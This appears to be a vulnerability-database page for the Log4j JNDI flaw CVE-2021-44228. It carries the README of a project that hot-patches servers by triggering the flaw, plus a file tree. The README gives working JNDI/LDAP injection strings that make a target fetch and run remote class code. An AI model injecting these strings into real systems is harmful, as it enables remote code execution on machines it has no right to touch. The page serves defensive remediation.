CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

Hot-patch CVE-2021-44228 by exploiting the vulnerability itself.

Readme

# cve-2021-44228-qingteng-online-patch 

## What is this

Hot-patch CVE-2021-44228 by exploiting the vulnerability itself.

## How to use

Inject the following code to anywhere likely vulnerable to CVE-2021-44228,
```
${jndi:ldap://your-own-server/patch}
```

To prevent MITM attack during the patch process, the following payload is recommended, but with less compatibility for older versions of Java,
```
${jndi:ldap://your-own-server/any_string_except_patch}
```

## Run your own server

1. Download the latest [releases](https://github.com/qingtengyun/cve-2021-44228-qingteng-online-patch/releases)

2. Specify system environment variables ```LOG4J_HOTFIX_HTTP_PATH``` and ```LOG4J_HOTFIX_HTTPS_PATH``` if you want to host Hotfix.class on your own server

## Build

Please note Hotfix.java should be compiled with JDK6 for maximum compatibility.

File Snapshot


 [4.0K]  /data/pocs/daf3e42394a1873fe0c28e0321b3a9602265560d
├── [ 333]  build.gradle
├── [4.0K]  gradle
│   └── [4.0K]  wrapper
│       ├── [ 58K]  gradle-wrapper.jar
│       └── [ 200]  gradle-wrapper.properties
├── [5.6K]  gradlew
├── [2.6K]  gradlew.bat
├── [ 11K]  LICENSE
├── [ 850]  README.md
├── [  35]  settings.gradle
└── [4.0K]  src
    └── [4.0K]  main
        └── [4.0K]  java
            ├── [ 15K]  HotfixGenerator.java
            ├── [3.3K]  Hotfix.java
            └── [3.8K]  LDAPServer.java

5 directories, 11 files

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